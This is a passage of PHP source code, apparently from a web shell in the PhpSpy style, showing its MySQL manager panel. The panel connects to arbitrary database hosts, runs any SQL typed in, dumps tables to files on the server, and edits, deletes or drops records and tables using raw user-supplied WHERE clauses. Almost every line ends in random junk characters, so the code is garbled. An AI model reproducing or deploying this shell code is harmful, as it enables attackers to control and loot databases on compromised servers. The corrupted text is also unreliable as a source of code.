  674.         makehide('doing');6 Z3 W' z* ?" Y- ^/ ~8 H3 h  B
  675.         makehide('action','sqlfile');
    . t' W$ H6 n( ]
  676.         p('</form>');
    ! e5 s: m- ]2 o6 y) D
  677. }
      _3 C: p  ?6 u8 j" n' N- _

  678. ; N- Q$ E$ v, M. u9 j; o
  679. elseif ($action == 'sqladmin') {
    ( _3 W- b0 T7 S
  680.         !$dbhost && $dbhost = 'localhost';: u4 m% a1 K9 Z* y
  681.         !$dbuser && $dbuser = 'root';2 B5 g" o0 I& B1 ?* j
  682.         !$dbport && $dbport = '3306';- T! B2 c" h( I3 C
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';: b+ r: F: c3 ]; h5 e5 D9 \
  684.         if(isset($dbhost)){% q; g  d: _7 B8 g3 h
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";( w& I* V. ]: m* |
  686.         }
    + u9 g! i# i. A0 Q! x( x
  687.         if(isset($dbuser)) {8 r* ~; W1 F# G) C9 C
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    ; a( }0 G6 f# N# |$ T
  689.         }* Z6 \) o' w; J; D3 ?
  690.         if(isset($dbpass)) {
    1 ~. B' }7 O! F7 ]
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";) u! O# r/ P& Q
  692.         }
    " O0 {% J4 S8 T& k' e" {  @
  693.         if(isset($dbport)) {
    ) f; ?6 `/ a! v- a
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";! L1 B2 C' X; O; }+ [; N+ h
  695.         }
    : d. @9 Z6 ]4 h% q) s- [* ^6 T
  696.         if(isset($dbname)) {; K  `* H/ r1 R. n5 `6 r( K
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";2 E( G  g" }2 W) E
  698.         }# A" h1 P& v9 `4 q$ t* x
  699.         if(isset($charset)) {, Y4 p: E/ o# c) m" o9 u
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";  f1 }4 x; m4 P- n8 Q# K4 x! E
  701.         }
    4 Q# U6 G: [3 }2 w
  702. ( f& V( @0 e1 H) p5 ~) H0 ?
  703.         if ($doing == 'backupmysql' && $saveasfile) {; ~* D1 }3 h# p8 \6 W5 D; i, l
  704.                 if (!$table) {
    5 E  j) o/ m$ f! k
  705.                         m('Please choose the table');$ A! X4 U$ ^/ c  \3 s
  706.                 } else {7 P( D  N6 O* e, Y
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);, `; z1 \# A" a7 r+ G$ u2 r9 o
  708.                         $table = array_flip($table);
    % B+ _2 |1 @+ H5 z; ~) ?! D
  709.                         $fp = @fopen($path,'w');
    ' I! C" X2 F' L8 u+ w3 Y" a
  710.                         if ($fp) {' z4 Q# ~5 v% k/ n
  711.                                 $result = q('SHOW tables');
    8 B- W" W/ S2 {+ Q
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');; O3 H# U0 D1 h$ r
  713.                                 $mysqldata = '';6 E, u8 @1 i$ J1 T3 [. k
  714.                                 while ($currow = mysql_fetch_array($result)) {. X) B# }( G- ]- L4 t
  715.                                         if (isset($table[$currow[0]])) {
    - Y+ f; i- ?# v! F4 A9 ~. g
  716.                                                 sqldumptable($currow[0], $fp);
    " S$ o* j4 h5 R
  717.                                         }
    . L6 d: I* ~' x' h
  718.                                 }
    / ?9 {- N" X7 v, K* l; |
  719.                                 fclose($fp);4 N) z$ K# d/ W* G2 o, r+ q
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);' R5 v5 `0 J: ^  @& o1 O! a9 e4 J
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
    0 E( I5 T7 F4 \# E, [) D3 M3 S
  722.                                 mysql_close();
    9 U- n- n: N6 n
  723.                         } else {/ M" A( u& H4 C- c- ?% f( P. U
  724.                                 m('Backup failed');- Y% E4 j3 D9 D2 w3 J! D; x
  725.                         }6 S0 `( j  U3 M9 @
  726.                 }1 p+ g0 @1 l' S( C
  727.         }
    1 E  h1 k. ], i7 p0 }. M
  728.         if ($insert && $insertsql) {
    * i1 }; _' B+ ~2 O' x9 g1 [
  729.                 $keystr = $valstr = $tmp = '';4 M1 I, q7 }% {7 ~% z
  730.                 foreach($insertsql as $key => $val) {$ s' E: L, [4 {* c5 T
  731.                         if ($val) {7 n' F/ o3 F# s; ?: M% {. h
  732.                                 $keystr .= $tmp.$key;
    $ J1 Y* f9 p( R2 a  w  ~
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";: G5 {) Q0 b# S/ v/ u* U6 P
  734.                                 $tmp = ',';
    & o- `( k% C$ r6 _2 W
  735.                         }! ^& b( G. i! F0 B
  736.                 }
    3 _. z) E4 ~: ~
  737.                 if ($keystr && $valstr) {/ j9 ]* @6 b" R. N- |
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);+ n- W5 h- T, C5 g# @3 D, \
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    ' `. {7 l. A% I- w" [
  740.                 }
    4 Y* G1 `# k" E( y  ^( ~& f- C
  741.         }1 u3 x  \% W, `1 X2 Z& i) {
  742.         if ($update && $insertsql && $base64) {
    7 B3 ~$ h4 K2 A) e: ?' x$ _& o
  743.                 $valstr = $tmp = '';
    ( \% }6 B) T/ ~: a& T& B
  744.                 foreach($insertsql as $key => $val) {
    " @$ W! ]* R6 O) v4 v
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";  L9 L1 j5 O/ t; p* l0 p. h* c
  746.                         $tmp = ',';' k2 ^( S, p7 Y7 z
  747.                 }0 I9 l8 L- d, B& ~- Q
  748.                 if ($valstr) {
    ; h$ e  a6 v/ k% c6 P* T( q: K% {
  749.                         $where = base64_decode($base64);% x$ Q7 x+ p. b' `
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);+ T$ M7 z7 _3 u3 [4 n- V
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    - A4 ?% i, w8 }' V, h/ f
  752.                 }+ N2 _1 R8 B/ i# s  [
  753.         }! s. h; n0 L" t+ l, Z: T- ~0 N5 J
  754.         if ($doing == 'del' && $base64) {
    / R0 V$ `% Q/ T
  755.                 $where = base64_decode($base64);
    $ |8 U% q$ p1 ]
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
    . S" ]9 _) [- C
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    ( ^& b" F$ j1 o0 F. q
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    0 ~# W4 j7 |3 C" s' Q
  759.         }
    ' M4 [$ i. G( o  H. _
  760. ! j; }) G9 `8 l; J7 R
  761.         if ($tablename && $doing == 'drop') {+ {+ o2 I5 L- i5 H/ M
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    0 `# W+ m/ X, g! |+ n: I; c& C3 m
  763.                 if (q("DROP TABLE $tablename")) {
    " b3 s/ a! D. m% q, S
  764.                         m('Drop table of success');7 ^& T/ E) v3 Z2 d7 D9 U
  765.                         $tablename = '';
    - J. G/ T: t5 @( d' q8 @9 ^5 X: F( Y
  766.                 } else {% @8 d% ?" R1 g2 R
  767.                         m(mysql_error());$ F" V. s6 [' s6 h# p
  768.                 }% y4 X0 K4 }8 N) b* s
  769.         }
    5 k# }( I; a$ h* p8 Z/ M5 f

  770. & X5 u- h" y9 Y6 e9 _
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');" E# |, K. `4 E

  772. ' f- X6 K& F  F& Z
  773.         formhead(array('title'=>'MYSQL Manager'));" |. i. s- \$ o2 [. _! l& }2 s
  774.         makehide('action','sqladmin');3 M  J' ?' ^* _4 R/ g0 V8 \2 h
  775.         p('<p>');
    9 |% y9 q! D0 p
  776.         p('DBHost:');
    ) o) l* ]) o& L& n% h8 d+ u$ I, ]
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    * }# E4 a3 q8 t5 V: |
  778.         p(':');
    / E) E( Z7 t9 i2 Y$ ^! v
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));, O) `" J, e  C- s) }/ H/ R2 |
  780.         p('DBUser:');( a6 K4 B  l( Z
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));" d3 x6 G% [: c, U( O) B
  782.         p('DBPass:');0 q: V# V/ \% c1 g
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    $ S0 U" O; s: |
  784.         p('DBCharset:');7 x& E1 V* U8 G, v1 b
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));5 G, f8 O1 Z3 k# s8 ]$ ]0 |
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    : M5 ~3 K1 w' V& G& c
  787.         p('</p>');# A$ T& w, R+ @2 Q: m2 E
  788.         formfoot();
    ( M: R1 G0 O: S1 M
  789. ?>
    " X( D" Y/ v7 r5 I4 D* c
  790. <script type="text/javascript">% ~9 H) w( u, }4 j
  791. function editrecord(action, base64, tablename){
    . k* i7 ?& u& C5 \# _
  792.         if (action == 'del') {               
    " A5 G7 j. S! U/ X! p2 Y) Z7 w
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;. Y0 G% t: p" E; M1 }6 \
  794.         }
    ) n0 ~6 a/ r+ U1 C% g
  795.         $('recordlist').doing.value=action;
    3 ?: h0 y; k% o
  796.         $('recordlist').base64.value=base64;
    ; l7 |+ r9 V( x" B( `8 M/ S
  797.         $('recordlist').tablename.value=tablename;1 l' J$ g& M* t- j( D; U6 `. m9 `1 @
  798.         $('recordlist').submit();
    7 x: L! I0 m  H% F6 q# t
  799. }
    . ]0 R' n! a( z- Z5 O2 L
  800. function moddbname(dbname) {5 h, v$ T6 k, J" f6 \
  801.         if(!dbname) return;
    9 n# Q% a- m" k- G
  802.         $('setdbname').dbname.value=dbname;
    , h" z/ v: e9 R5 o. u- W# u; K/ E
  803.         $('setdbname').submit();+ K+ j9 l: w& c. d1 W- ^  Q: x1 T$ K
  804. }# a( J8 k3 }; b2 R; S1 ^
  805. function settable(tablename,doing,page) {
      Y7 W( H/ y2 i6 s
  806.         if(!tablename) return;
    $ O4 `1 x. ~, I$ W
  807.         if (doing) {: y) w: n. \% i
  808.                 $('settable').doing.value=doing;
    3 h  w$ R2 O$ u2 K
  809.         }2 Z0 r8 k7 L9 Z/ |
  810.         if (page) {
    7 v! c7 c2 f, Q: f! m9 h" Z% b
  811.                 $('settable').page.value=page;
    # g; B# ~$ f5 N- {
  812.         }
    " p8 Q; o8 G& t4 V+ V3 p3 m
  813.         $('settable').tablename.value=tablename;
    # {, w7 k- ^, @  s. x' s
  814.         $('settable').submit();7 P* I4 D3 {: z
  815. }
    $ V; |/ K( `2 _+ l9 M
  816. </script>
    1 ~$ ~) M" S/ h# U" u5 W; P; x
  817. <?php/ Q1 Z0 X0 \3 z( n- S" P& |5 n
  818.         //操作记录
    0 T4 d3 l: E0 A9 O& I
  819.         formhead(array('name'=>'recordlist'));
    # _' E4 a8 k! p8 N% e' I# S
  820.         makehide('doing');
    ) l% r; C* a+ u" i% o
  821.         makehide('action','sqladmin');
    / u9 D$ A, u- k$ a, ~) F
  822.         makehide('base64');/ ]4 N+ ]# _( N+ C" ]
  823.         makehide('tablename');
    , B0 G/ u+ N* |4 o: z5 s* r
  824.         p($dbform);1 L; e2 C) i. a0 }0 G
  825.         formfoot();% U, P" k% f& j: w
  826.         //选定数据库6 l. f7 A- {6 O7 r9 l4 _
  827.         formhead(array('name'=>'setdbname'));/ Y; g" }4 \1 C$ X4 s
  828.         makehide('action','sqladmin');0 {* ~. H6 e' [- h
  829.         p($dbform);
    ( K; V7 A- A0 Z: X
  830.         if (!$dbname) {
    : v8 h" P$ d4 Z& ]1 d4 x2 j
  831.                 makehide('dbname');
    + W) {3 _; P& r# C  H
  832.         }
    8 V0 C6 ?, ]( r* U8 a! R8 ^
  833.         formfoot();
    ! x$ n  y: q& Z) a
  834.         //选定表, f9 X2 Z6 @0 Q9 d/ d
  835.         formhead(array('name'=>'settable'));5 i+ F: Y* B* ^
  836.         makehide('action','sqladmin');, N% I3 ]4 M9 I3 j. K) w
  837.         p($dbform);* j- d! b3 V$ Y% _
  838.         makehide('tablename');
    6 w7 U6 m' e+ W8 Q6 A- [1 w
  839.         makehide('page',$page);
    , {! E: I% ?* m  X: J3 |
  840.         makehide('doing');
    ' _; K5 ^- K2 A! t
  841.         formfoot();/ e2 s3 z  K; v7 u: J4 ^* F
  842.         $cachetables = array();       
    , }( d9 ?5 a9 M  Z  r; ?9 {1 s
  843.         $pagenum = 30;
    ( U& H" E5 [0 K6 }  f! H+ z1 k
  844.         $page = intval($page);
    0 ?. S" m* f% C) h: q9 b
  845.         if($page) {. x: s# G& n6 \% i
  846.                 $start_limit = ($page - 1) * $pagenum;
    # \% I  {0 @: e4 j
  847.         } else {
    . W! x6 T$ M7 ^& S! i6 f9 E( t
  848.                 $start_limit = 0;1 `7 H" g7 ]' Y/ z6 A$ D
  849.                 $page = 1;
    ; @: z" p) c, q) g. O5 c
  850.         }9 [9 R. [) N, [* L
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {! h$ r# o! y5 A% l5 f2 D( t, |
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);1 |1 u$ Z# m! F' z: j6 T
  853.                 //获取数据库信息$ f0 \1 n, t8 c2 h8 B: z
  854.                 $mysqlver = mysql_get_server_info();
    & w- w% I% N" k$ K! t4 y: S/ B' o
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');% w, P$ D! F5 D- s) D$ V0 G
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;( c: H5 I- O- @/ m
  857.                 //获取数据库2 x& S, U0 Y) G8 @: G; o
  858.                 $query = q("SHOW DATABASES");
    6 U' K- K5 j& D- K# |: _- @  ^# M1 i
  859.                 $dbs = array();
    1 S! w, Y6 B3 G6 O8 z4 C; l' P+ X
  860.                 $dbs[] = '-- Select a database --';% [+ [# U: m- w% C9 M0 X5 i1 Z. e1 @
  861.                 while($db = mysql_fetch_array($query)) {  M; u- e% h! _7 j
  862.                         $dbs[$db['Database']] = $db['Database'];( E5 \+ g: Y/ R" F) J3 M7 l; V; I
  863.                 }
    ) d* a9 S' |6 c4 v
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));; ~; A, V! O3 M0 }3 k/ A
  865.                 $tabledb = array();
    ( M0 z& @6 ?$ r. ?$ ~1 M! t" h
  866.                 if ($dbname) {
    3 L% M* Q% V9 X* C. C, ?
  867.                         p('<p>');
    8 R) n$ h) T, X
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
    " W/ M1 j" n% ?  j
  869.                         if ($tablename) {$ z  u- t7 O# x+ h* q0 p1 r  U; v# K4 z0 G
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');8 M7 N6 E1 n4 N0 ]0 c% z
  871.                         }- ?- A: |0 k4 f- r2 [
  872.                         p('</p>');. p8 u- K1 ]/ ], X0 ~) z
  873.                         mysql_select_db($dbname);- U4 u6 B+ ^1 F( n- |. H9 P! o" O
  874.                         $getnumsql = '';
    * @1 V8 i% _! I; u+ `' H
  875.                         $runquery = 0;
    ! w0 s- u* w. ~" o8 s% J
  876.                         if ($sql_query) {2 x" u. a& f" }$ a6 o7 G- ]
  877.                                 $runquery = 1;- G# B$ `. d/ D2 I8 ^
  878.                         }
    ! u/ m' k3 G$ `4 t/ y
  879.                         $allowedit = 0;
    + X, F9 `, Y: O3 j
  880.                         if ($tablename && !$sql_query) {
    3 d' M2 U6 t$ v- ?
  881.                                 $sql_query = "SELECT * FROM $tablename";
    & a6 ~  T, X2 ]
  882.                                 $getnumsql = $sql_query;2 u( S. z; i" l* D9 D1 M( d5 p; ^% g
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";  m" O+ i: S' F0 \
  884.                                 $allowedit = 1;
    # ]9 E  B; s4 P7 H. s
  885.                         }3 U  e3 {0 N3 s0 T1 b4 x) z& c0 B
  886.                         p('<form action="'.$self.'" method="POST">');
    3 R( Z# x8 ^( n
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    2 z' p% F2 Z0 x) ]! p; H
  888.                         makehide('tablename', $tablename);3 f% |9 O& @3 Y4 }, N" m
  889.                         makehide('action','sqladmin');
    $ r# f0 o/ O* J, z+ r0 V
  890.                         p($dbform);; m: i! l+ j+ e& m- n, f+ [
  891.                         p('</form>');+ s( u% N* B. P- b7 r  ^
  892.                         if ($tablename || ($runquery && $sql_query)) {9 b: I4 o5 M# n7 u' Y1 X7 t2 o- K' ]
  893.                                 if ($doing == 'structure') {
    $ |, I: l0 O; S% M0 ?6 i
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");
    , I' C" B* z) X. @# K
  895.                                         $rowdb = array();6 e: E1 _& P" I5 M& T
  896.                                         while($row = mysql_fetch_array($result)) {
    6 U& d$ N. ~4 Q" u. S- t: D1 a
  897.                                                 $rowdb[] = $row;; h2 l% ~; I7 r1 ]
  898.                                         }
    - ^( d2 G* a  a3 A
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    $ Q: M. y) [6 g2 I  b! C8 q5 s
  900.                                         p('<tr class="head">');& p. e- R3 E& x, X8 m7 A+ }+ o0 W2 B
  901.                                         p('<td>Field</td>');$ }( }; M. y8 j0 Q7 S: w8 S: l
  902.                                         p('<td>Type</td>');
    : [& \% {0 ]; ]. ?& ~  J
  903.                                         p('<td>Null</td>');
    + w  E; j9 G- G' R  s
  904.                                         p('<td>Key</td>');
    + Z8 \: c4 U5 R+ X8 F2 `
  905.                                         p('<td>Default</td>');( I1 T" D7 \: k, x: y' O
  906.                                         p('<td>Extra</td>');
    ( X/ y' Y: H* {2 N. g7 |
  907.                                         p('</tr>');
    / z# i! t0 X9 H' n& p- ]
  908.                                         foreach ($rowdb as $row) {
    8 R( x4 y" s8 \# v: A1 R
  909.                                                 $thisbg = bg();+ k9 q+ C& L( _0 N+ k
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ! ~" m" y9 G8 C0 t2 E, D& l
  911.                                                 p('<td>'.$row['Field'].'</td>');
    , B9 w$ V. O1 y2 f) H
  912.                                                 p('<td>'.$row['Type'].'</td>');7 z6 D, z: l/ a& K: v/ E
  913.                                                 p('<td>'.$row['Null'].' </td>');
    8 i* P: f* ]* h. U0 Y" v
  914.                                                 p('<td>'.$row['Key'].' </td>');6 i% T9 r# G* p) b
  915.                                                 p('<td>'.$row['Default'].' </td>');
    , ?' J# m8 ]. a. g! F
  916.                                                 p('<td>'.$row['Extra'].' </td>');' Y' u  z1 m& P8 J: h* F
  917.                                                 p('</tr>');
    3 |% x$ U/ ~0 a7 c4 g9 [# n
  918.                                         }
    + {6 f+ f, u# v! t
  919.                                         tbfoot();
    4 ~: x) E$ X5 w6 u5 I+ a0 J- V2 B
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
    3 G0 J  p5 ?' t( U
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);8 [7 A7 N; A" q$ c
  922.                                         while ($row = mysql_fetch_array($result)) {
    : ^- K4 y6 z9 X$ f0 U4 H1 P8 K
  923.                                                 $rowdb[] = $row;
    8 g: ^1 K! Y6 C' y
  924.                                         }4 F8 A6 H; g# ~
  925.                                         $rs = array();  e& C# o/ J/ I. Y
  926.                                         if ($doing == 'insert') {; H; o4 r$ P2 T5 e- g5 X# P1 [( w
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    * s! |! F: c" J% W5 U) m: I' B
  928.                                         } else {
      `, y, r9 ]/ y' ?) K7 e: n+ }2 J" z8 T
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    # |6 W% d7 D9 _9 g+ I8 H2 g7 R3 i
  930.                                                 $where = base64_decode($base64);5 J. E  j6 Z& Z7 T5 |7 b
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");, {+ \% E  Z8 {3 a4 ^9 B$ F. m
  932.                                                 $rs = mysql_fetch_array($result);! j' u/ W3 e/ T1 X  a3 F" V5 H
  933.                                         }8 q" w6 d' |" F  O- g. {) i
  934.                                         p('<form method="post" action="'.$self.'">');% ^1 A6 T( k" u
  935.                                         p($dbform);
    1 T+ q8 [+ u( L; p6 v* a$ A1 G
  936.                                         makehide('action','sqladmin');
    0 Z* W5 [3 o  G: b8 J7 L
  937.                                         makehide('tablename',$tablename);# U& p1 _5 q: S: s* Y& r# _
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    5 c0 O' f0 G8 ^+ P: T+ v
  939.                                         foreach ($rowdb as $row) {' U+ X& l# `1 N# @9 l- X5 b4 B
  940.                                                 if ($rs[$row['Field']]) {: M- ~5 c- T; G4 c) N
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
    1 g% P% r" Y: U( ]6 u  q
  942.                                                 } else {
    7 P: H& f7 Y- }: K, C: |. U' P
  943.                                                         $value = '';7 [+ G: B; g; z/ J( i
  944.                                                 }" N) J" N, n0 o( D3 S
  945.                                                 $thisbg = bg();! i' s2 f5 i6 Q" p5 y& I" q; n
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$ j( J- L( \* Y2 Z: I  `" A
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    0 J5 Q: d" b5 `. c) e
  948.                                         }$ X) ~( F' n* v5 i: E: W. \
  949.                                         if ($doing == 'insert') {
    , \  K: f3 W* R% t# l
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');/ v3 y8 W6 x* c8 ?' [
  951.                                         } else {8 ]+ Q7 n  `8 ]8 H1 a
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
    " i/ H) \. K: w) }. L, Z6 Z' y, r8 s* ~
  953.                                                 makehide('base64', $base64);
    - N: R/ o" ^1 u) V  X' }
  954.                                         }
    9 \$ W( o2 }- Y5 v. B
  955.                                         p('</table></form>');
      I' ]; ^/ w( d- J
  956.                                 } else {# J- f/ I4 n. a1 e
  957.                                         $querys = @explode(';',$sql_query);
    ' y/ R0 y" l1 J, _+ z- h1 I6 m2 Q
  958.                                         foreach($querys as $num=>$query) {
    # h0 Y+ z& e: u* h! `
  959.                                                 if ($query) {; _3 z9 q" c1 ?
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    $ _' N. s$ Y# w6 g3 k; q
  961.                                                         switch(qy($query))) A( G( I9 T  r& X
  962.                                                         {9 t! }, G, \4 v/ c$ }! ^  ]1 q& `
  963.                                                                 case 0:3 u$ L. I! x  H1 Y
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');' x+ u9 x# L3 g: n
  965.                                                                         break;       
    $ m; ^# z* I2 [* g
  966.                                                                 case 1:
    - ]  \% e) l6 ~
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {& E! q% ]% \) X
  968.                                                                                 $allowedit = 1;5 R; m/ I- T$ @! x" a
  969.                                                                         }
    . v6 F. T: G, d
  970.                                                                         if ($getnumsql) {
    6 |4 u" j8 {7 U
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    4 B' w8 v/ S2 z" x: F$ K
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);2 [1 P% K, }1 y- Z) F0 E& x
  973.                                                                         }& h: |+ b3 f$ n! N, T$ v
  974.                                                                         if (!$tablename) {2 s# H$ U) Y1 c1 ?" q/ h% E
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    1 O0 F2 ~: g- @8 I# }* E$ G
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
    & o4 P  ?* }, N# h- p$ T8 \7 c
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    1 {; d4 p/ K8 V! M8 p) R4 F, t$ p
  978.                                                                                 $tablename = $matches[1][0];
    4 a4 W2 H! z/ P2 {) _
  979.                                                                         }
    ( w+ z  s7 X% {; T% a3 R" y
  980.                                                                         $result = q($query);
    : Q! F, A3 r* G1 d* L4 W; w
  981.                                                                         p($multipage);
      V* b3 X2 L: o8 @
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    % `' t0 i" J4 ?
  983.                                                                         p('<tr class="head">');
    $ d/ O* \* d) l: H
  984.                                                                         if ($allowedit) p('<td>Action</td>');
    4 ]- u% q7 R# I" k( N$ j0 A
  985.                                                                         $fieldnum = @mysql_num_fields($result);4 O. K) W) \- P+ X% ?$ R6 ~
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    - A) @: F6 A  s, t  ^( N
  987.                                                                                 $name = @mysql_field_name($result, $i);
    ! e; u( z9 x6 p; A2 V8 a
  988.                                                                                 $type = @mysql_field_type($result, $i);4 p: W+ A1 d- V5 `
  989.                                                                                 $len = @mysql_field_len($result, $i);9 w; S4 t" z5 J# R8 O; w, @1 {
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    ' T9 v1 a) E8 K9 j' a& v0 D
  991.                                                                         }
    7 F/ a5 u2 ~9 t! u* ~
  992.                                                                         p('</tr>');
    1 ]8 r4 p$ k$ r# z* b* X
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){6 K& g' _/ l2 f0 A( o
  994.                                                                                 $thisbg = bg();, H) q& b! C) T5 a# H
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');+ g0 X* H  ]; ^4 _* b7 q/ m
  996.                                                                                 $where = $tmp = $b1 = '';
    8 o3 Z* X& Q8 @9 Y7 o
  997.                                                                                 foreach($mn as $key=>$inside){& c/ w. v1 R8 U' d
  998.                                                                                         if ($inside) {
    ! z+ H' w* x) o' _( ~% d
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";) T) U: |& g0 g; R0 u
  1000.                                                                                                 $tmp = ' AND ';
    ) b1 h+ v8 y$ \# D) i  A  ]
  1001.                                                                                         }
    : S$ A8 q8 ]' V* {3 n& {6 x
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';1 F1 m' ~' o3 L" b4 y
  1003.                                                                                 }. w/ B# i( a  |+ Z
  1004.                                                                                 $where = base64_encode($where);7 R0 ^1 X. H% q% S
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    * N! u. G3 @. D! [
  1006.                                                                                 p($b1);, N, _2 E$ l) @' w5 d
  1007.                                                                                 p('</tr>');
    4 v- V; X) t$ B  ^
  1008.                                                                                 unset($b1);
    9 O2 m: E6 Y: _# Q
  1009.                                                                         }- r$ z4 c0 w9 j4 S( u; x
  1010.                                                                         tbfoot();: Z1 q" k6 P$ j* z* t0 u
  1011.                                                                         p($multipage);
    + V' d4 i9 e5 k6 S. Q$ A+ i
  1012.                                                                         break;        . j1 M; S5 j: z* Q# u+ i6 V
  1013.                                                                 case 2:
    6 F/ s5 y4 L8 [
  1014.                                                                         $ar = mysql_affected_rows();
    0 O( b( g# E% K: j1 {2 j
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
    0 D* N3 @0 I* x& h4 U! f  ^
  1016.                                                                         break;  \. r3 E8 M9 p2 i* N  ^
  1017.                                                         }" r' w) L0 p* A4 F  B
  1018.                                                 }3 i- P# O+ D1 p0 z
  1019.                                         }
    ; `$ A2 n+ z/ K  g: L
  1020.                                 }
      z7 O; N" t0 Y. z
  1021.                         } else {) X) n/ v- o0 B/ W. j% s: r
  1022.                                 $query = q("SHOW TABLE STATUS");
    8 \, w1 y6 ^- y3 j$ `% _
  1023.                                 $table_num = $table_rows = $data_size = 0;
    & V4 P( l- m/ O' `; W' X- G
